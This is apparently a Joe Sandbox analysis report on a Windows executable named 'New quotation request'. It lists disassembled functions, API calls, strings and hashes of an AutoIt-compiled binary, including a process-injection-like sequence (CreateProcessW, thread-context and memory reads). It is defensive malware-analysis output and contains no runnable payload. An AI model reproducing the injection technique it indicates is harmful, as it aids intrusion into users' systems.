                                                                    control_flow_graph 1139 2b407c-2b4092 1140 2b4098-2b40ad call 2b7a16 1139->1140 1141 2b416f-2b4173 1139->1141 1144 2ed3c8-2ed3d7 LoadStringW 1140->1144 1145 2b40b3-2b40d3 call 2b7bcc 1140->1145 1148 2ed3e2-2ed3fa call 2b7b2e call 2b6fe3 1144->1148 1145->1148 1149 2b40d9-2b40dd 1145->1149 1158 2b40ed-2b416a call 2d2de0 call 2b454e call 2d2dbc Shell_NotifyIconW call 2b5904 1148->1158 1161 2ed400-2ed41e call 2b7cab call 2b6fe3 call 2b7cab 1148->1161 1151 2b40e3-2b40e8 call 2b7b2e 1149->1151 1152 2b4174-2b417d call 2b8047 1149->1152 1151->1158 1152->1158 1158->1141 1161->1158
                                                                    APIs
                                                                    • LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 002ED3D7
                                                                      • Part of subcall function 002B7BCC: _memmove.LIBCMT ref: 002B7C06
                                                                    • _memset.LIBCMT ref: 002B40FC
                                                                    • _wcscpy.LIBCMT ref: 002B4150
                                                                    • Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 002B4160
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: IconLoadNotifyShell_String_memmove_memset_wcscpy
                                                                    • String ID: Line:
                                                                    • API String ID: 3942752672-1585850449
                                                                    • Opcode ID: 8a8acb037c98305a03886e5e455416303a6b772a0755525a90df54e3710cf065
                                                                    • Instruction ID: 2dc2b460a9c8e2801483f3d9f51fc0ecf7e357f5c9268bd72c0a2a8bb7aeb7fa
                                                                    • Opcode Fuzzy Hash: 8a8acb037c98305a03886e5e455416303a6b772a0755525a90df54e3710cf065
                                                                    • Instruction Fuzzy Hash: E831E131428301AFD335FB60DC85FDA77ECAF50340F10491AF58992092DBB0A6A8CB82
                                                                    Function 002B686A Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 260COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002B4DDD: LoadLibraryExW.KERNEL32(?,00000000,00000002,?,003752F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 002B4E0F
                                                                    • _free.LIBCMT ref: 002EE263
                                                                    • _free.LIBCMT ref: 002EE2AA
                                                                      • Part of subcall function 002B6A8C: SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 002B6BAD
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: _free$CurrentDirectoryLibraryLoad
                                                                    • String ID: >>>AUTOIT SCRIPT<<<$Bad directive syntax error
                                                                    • API String ID: 2861923089-1757145024
                                                                    • Opcode ID: dcb3e15a34f74c5f7e51ea1955776278dcea6dc218606fd5dfeecfcdbde58b01
                                                                    • Instruction ID: 9fad2a77162eb878343a2b32ab5d6f2aa1c9dc299fed311e91db6c29b1b8c33e
                                                                    • Opcode Fuzzy Hash: dcb3e15a34f74c5f7e51ea1955776278dcea6dc218606fd5dfeecfcdbde58b01
                                                                    • Instruction Fuzzy Hash: 9A919C7192025AAFCF05EFA5C8819EDB7B8FF09350F44442AF815AB2A1DB70AD65CF50
                                                                    Function 002B35B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,00000003,00000000,80000001,80000001,?,002B35A1,SwapMouseButtons,00000004,?), ref: 002B35D4
                                                                    • RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,002B35A1,SwapMouseButtons,00000004,?,?,?,?,002B2754), ref: 002B35F5
                                                                    • RegCloseKey.KERNELBASE(00000000,?,?,002B35A1,SwapMouseButtons,00000004,?,?,?,?,002B2754), ref: 002B3617
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: CloseOpenQueryValue
                                                                    • String ID: Control Panel\Mouse
                                                                    • API String ID: 3677997916-824357125
                                                                    • Opcode ID: d3d484723adc5c6ce137b7e6d6d22cc01081acdf811ba0c89af85e50a6892fb4
                                                                    • Instruction ID: f0d5e4fa558c64a47a95372e2b6a31db996d8bdd9e7d33acbf67787f263ca491
                                                                    • Opcode Fuzzy Hash: d3d484723adc5c6ce137b7e6d6d22cc01081acdf811ba0c89af85e50a6892fb4
                                                                    • Instruction Fuzzy Hash: 0D1148B5920208BFDB21CF68DC80AEEB7BCEF04780F005469E805D7210D2719E609764
                                                                    Function 015BE0A8 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CreateProcessW.KERNELBASE(?,00000000), ref: 015BE863
                                                                    • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 015BE8F9
                                                                    • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 015BE91B
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1678033547.00000000015BC000.00000040.00000020.00020000.00000000.sdmp, Offset: 015BC000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_15bc000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Process$ContextCreateMemoryReadThreadWow64
                                                                    • String ID:
                                                                    • API String ID: 2438371351-0
                                                                    • Opcode ID: a5f8eca76df1c4d60a387bf050efe929c827b8bdc82418feca4108ede207e1c1
                                                                    • Instruction ID: 234dd8a24653e1a554106758149b7b86a24030546124aab62923c8b856156e98
                                                                    • Opcode Fuzzy Hash: a5f8eca76df1c4d60a387bf050efe929c827b8bdc82418feca4108ede207e1c1
                                                                    • Instruction Fuzzy Hash: F162FA30A14618DBEB24CFA4C891BDEB776FF58300F1491A9D10DEB290E7799E81CB59
                                                                    Function 0031955B Relevance: 6.2, APIs: 4, Instructions: 155COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002B4EE5: _fseek.LIBCMT ref: 002B4EFD
                                                                      • Part of subcall function 00319734: _wcscmp.LIBCMT ref: 00319824
                                                                      • Part of subcall function 00319734: _wcscmp.LIBCMT ref: 00319837
                                                                    • _free.LIBCMT ref: 003196A2
                                                                    • _free.LIBCMT ref: 003196A9
                                                                    • _free.LIBCMT ref: 00319714
                                                                      • Part of subcall function 002D2D55: RtlFreeHeap.NTDLL(00000000,00000000,?,002D9A24), ref: 002D2D69
                                                                      • Part of subcall function 002D2D55: GetLastError.KERNEL32(00000000,?,002D9A24), ref: 002D2D7B
                                                                    • _free.LIBCMT ref: 0031971C
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
                                                                    • String ID:
                                                                    • API String ID: 1552873950-0
                                                                    • Opcode ID: 83a1bf45cb5b46f0fbbb2b282febcfcf75e63ad05b5baa694a85d9b23f0f737c
                                                                    • Instruction ID: 121824b4c9348d1951f16e82c59d229563d9d814a262f44a93a273b4d16a6702
                                                                    • Opcode Fuzzy Hash: 83a1bf45cb5b46f0fbbb2b282febcfcf75e63ad05b5baa694a85d9b23f0f737c
                                                                    • Instruction Fuzzy Hash: A5513DB1914258AFDF299F64CC81AEEBB7AEF48340F10449EB609A7341DB715A90CF58
                                                                    Function 002D470A Relevance: 6.1, APIs: 4, Instructions: 136COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: __flsbuf__flush__getptd_noexit__write_memmove
                                                                    • String ID:
                                                                    • API String ID: 2782032738-0
                                                                    • Opcode ID: 998aeda2236a74d80706e5f9a46343bd1135ee917ddd04e378ba6ed458c3dace
                                                                    • Instruction ID: c7300264d6d95afa1bc1ead20d36b61613f3e13a1ae68ada9a3263b25cdc6360
                                                                    • Opcode Fuzzy Hash: 998aeda2236a74d80706e5f9a46343bd1135ee917ddd04e378ba6ed458c3dace
                                                                    • Instruction Fuzzy Hash: C641D634A207469BEF18EF69CC809AEB7A6EF453A4B24813FE819C7740D770DD609B40
                                                                    Function 002B4C70 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 141COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: _memmove
                                                                    • String ID: AU3!P/4$EA06
                                                                    • API String ID: 4104443479-3315824915
                                                                    • Opcode ID: cf20dd99b68a744d9ab2001b4c15a6e6237f7ec83411361d14785738a683dea9
                                                                    • Instruction ID: 1d4c1c82888e961e09f605195dcb2c33686322c05092db450b9b1776fec5015b
                                                                    • Opcode Fuzzy Hash: cf20dd99b68a744d9ab2001b4c15a6e6237f7ec83411361d14785738a683dea9
                                                                    • Instruction Fuzzy Hash: 7A416B21A2415A67CF22BF54C8E17FE7FB29B45380F684465EC829B283D6609D6487A1
                                                                    Function 002B7285 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _memset.LIBCMT ref: 002EEA39
                                                                    • GetOpenFileNameW.COMDLG32(?), ref: 002EEA83
                                                                      • Part of subcall function 002B4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,002B4743,?,?,002B37AE,?), ref: 002B4770
                                                                      • Part of subcall function 002D0791: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 002D07B0
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Name$Path$FileFullLongOpen_memset
                                                                    • String ID: X
                                                                    • API String ID: 3777226403-3081909835
                                                                    • Opcode ID: fbf3cffd04f0d9795ced78af0f71da17b592c1034414ff4b2cf6f52ff67f8565
                                                                    • Instruction ID: 2aa9413767a8a25dd556aa485dbcf716b9a65601c4924ecf2e45dc7964965e33
                                                                    • Opcode Fuzzy Hash: fbf3cffd04f0d9795ced78af0f71da17b592c1034414ff4b2cf6f52ff67f8565
                                                                    • Instruction Fuzzy Hash: 1D21C630A202889BDF019F94D845BDE7BF9AF48314F00405AE408A7341DBF45999CFA1
                                                                    Function 003198E3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetTempPathW.KERNEL32(00000104,?), ref: 003198F8
                                                                    • GetTempFileNameW.KERNELBASE(?,aut,00000000,?), ref: 0031990F
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Temp$FileNamePath
                                                                    • String ID: aut
                                                                    • API String ID: 3285503233-3010740371
                                                                    • Opcode ID: 3ffc50a1c51049642a710220ab9e4248250d63e7e29368fe2e3e435e0215caa2
                                                                    • Instruction ID: a97877f6e38efe8277735bcf569051a12f58f424dca6e16deb30132b56b8f1df
                                                                    • Opcode Fuzzy Hash: 3ffc50a1c51049642a710220ab9e4248250d63e7e29368fe2e3e435e0215caa2
                                                                    • Instruction Fuzzy Hash: 2ED05E7994030DAFDB619BA0DC4EFEBB73CE704700F4046B1BA54D20A1EAB095988B91
                                                                    Function 0032CADD Relevance: 4.9, APIs: 3, Instructions: 392COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 41d6d90cd4cb5adf509d653c003157bfbe3627cd806ea9c1483d9c23458ae538
                                                                    • Instruction ID: 84b90acb734ee2f3946e00f08e564cd3472c187d993f697f97cd67da6e666284
                                                                    • Opcode Fuzzy Hash: 41d6d90cd4cb5adf509d653c003157bfbe3627cd806ea9c1483d9c23458ae538
                                                                    • Instruction Fuzzy Hash: 4AF14470A083119FCB15DF28D480A6EBBE5FF89314F55892EF8999B252D730E945CF82
                                                                    Function 002B434A Relevance: 4.6, APIs: 3, Instructions: 77windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _memset.LIBCMT ref: 002B4370
                                                                    • Shell_NotifyIconW.SHELL32(00000000,?), ref: 002B4415
                                                                    • Shell_NotifyIconW.SHELL32(00000001,?), ref: 002B4432
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: IconNotifyShell_$_memset
                                                                    • String ID:
                                                                    • API String ID: 1505330794-0
                                                                    • Opcode ID: ca7ea1a0041ef746c6f84c5cf4dad4bb0cf36976a40257e07bf5b3aa336300c1
                                                                    • Instruction ID: 48928f659af0f11d8a09fad13773d2dc4e36dfffa32595fd657da6fcad37f511
                                                                    • Opcode Fuzzy Hash: ca7ea1a0041ef746c6f84c5cf4dad4bb0cf36976a40257e07bf5b3aa336300c1
                                                                    • Instruction Fuzzy Hash: 88316FB05147018FD725EF24D8846DBBBF8FB58348F100D2EE59A86252E7B1A994CB52
                                                                    Function 002D571C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • __FF_MSGBANNER.LIBCMT ref: 002D5733
                                                                      • Part of subcall function 002DA16B: __NMSG_WRITE.LIBCMT ref: 002DA192
                                                                      • Part of subcall function 002DA16B: __NMSG_WRITE.LIBCMT ref: 002DA19C
                                                                    • __NMSG_WRITE.LIBCMT ref: 002D573A
                                                                      • Part of subcall function 002DA1C8: GetModuleFileNameW.KERNEL32(00000000,003733BA,00000104,?,00000001,00000000), ref: 002DA25A
                                                                      • Part of subcall function 002DA1C8: ___crtMessageBoxW.LIBCMT ref: 002DA308
                                                                      • Part of subcall function 002D309F: ___crtCorExitProcess.LIBCMT ref: 002D30A5
                                                                      • Part of subcall function 002D309F: ExitProcess.KERNEL32 ref: 002D30AE
                                                                      • Part of subcall function 002D8B28: __getptd_noexit.LIBCMT ref: 002D8B28
                                                                    • RtlAllocateHeap.NTDLL(01580000,00000000,00000001,00000000,?,?,?,002D0DD3,?), ref: 002D575F
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
                                                                    • String ID:
                                                                    • API String ID: 1372826849-0
                                                                    • Opcode ID: 740d9bee2b3bbaf52ad7936d423a9620bc0d94b848649a7d13cd5238299098bf
                                                                    • Instruction ID: abb969e0ccca721303dc3b04e03391036e1bdea7c60b64a049f00d5fe02c2f72
                                                                    • Opcode Fuzzy Hash: 740d9bee2b3bbaf52ad7936d423a9620bc0d94b848649a7d13cd5238299098bf
                                                                    • Instruction Fuzzy Hash: E601F931630B22DAF6116B35EC42B6DB74C8B42361F200427F409D6381DEF0CC609A61
                                                                    Function 003198A2 Relevance: 4.5, APIs: 3, Instructions: 24filetimeCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000003,00000080,00000000,?,?,00319548,?,?,?,?,?,00000004), ref: 003198BB
                                                                    • SetFileTime.KERNELBASE(00000000,?,00000000,?,?,00319548,?,?,?,?,?,00000004,00000001,?,?,00000004), ref: 003198D1
                                                                    • CloseHandle.KERNEL32(00000000,?,00319548,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 003198D8
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: File$CloseCreateHandleTime
                                                                    • String ID:
                                                                    • API String ID: 3397143404-0
                                                                    • Opcode ID: 51fd767febe7e22b5d188d4aebff12b1cbd004f167042e980b60a7e2a313fb34
                                                                    • Instruction ID: cf04f3b4e64b49de62ce39f659b88ebe75c43e35597500c92ca85c449cee6f39
                                                                    • Opcode Fuzzy Hash: 51fd767febe7e22b5d188d4aebff12b1cbd004f167042e980b60a7e2a313fb34
                                                                    • Instruction Fuzzy Hash: 43E08632940214BBD7231B54EC49FDA7B5DAB06770F104220FB14690E087B125119798
                                                                    Function 00318D0D Relevance: 4.5, APIs: 3, Instructions: 22COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _free.LIBCMT ref: 00318D1B
                                                                      • Part of subcall function 002D2D55: RtlFreeHeap.NTDLL(00000000,00000000,?,002D9A24), ref: 002D2D69
                                                                      • Part of subcall function 002D2D55: GetLastError.KERNEL32(00000000,?,002D9A24), ref: 002D2D7B
                                                                    • _free.LIBCMT ref: 00318D2C
                                                                    • _free.LIBCMT ref: 00318D3E
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: _free$ErrorFreeHeapLast
                                                                    • String ID:
                                                                    • API String ID: 776569668-0
                                                                    • Opcode ID: 625e2a9df38ff8793e00647abbe9ccf0d6414545c555b0c4696158d27d9f7751
                                                                    • Instruction ID: 0a1358aabe0cc68c0862a1c260fd5d50e61b0c8675794d717dff68ee5027af21
                                                                    • Opcode Fuzzy Hash: 625e2a9df38ff8793e00647abbe9ccf0d6414545c555b0c4696158d27d9f7751
                                                                    • Instruction Fuzzy Hash: 1FE012A161170186CB29A678B940AD353DD4F6D352715091EB40DD7286CE64FC968528
                                                                    Function 002BA9C3 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 534COMMON
                                                                    Download Yara Rule
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID: CALL
                                                                    • API String ID: 0-4196123274
                                                                    • Opcode ID: a7ce536c6d4c9c1452eb2e7f3073afc1cfc44cd7832da417ee8e3528df1b426d
                                                                    • Instruction ID: 57e61222cfcb2ae4f31df6efa16ef4aed8ea00b68c7b2f9f4869fec9373d2f6c
                                                                    • Opcode Fuzzy Hash: a7ce536c6d4c9c1452eb2e7f3073afc1cfc44cd7832da417ee8e3528df1b426d
                                                                    • Instruction Fuzzy Hash: 8D226A70528341DFC725DF14C490BAABBE1BF48384F14896DE99A8B362D771EC64CB82
                                                                    Function 002B7A51 Relevance: 3.1, APIs: 2, Instructions: 97COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
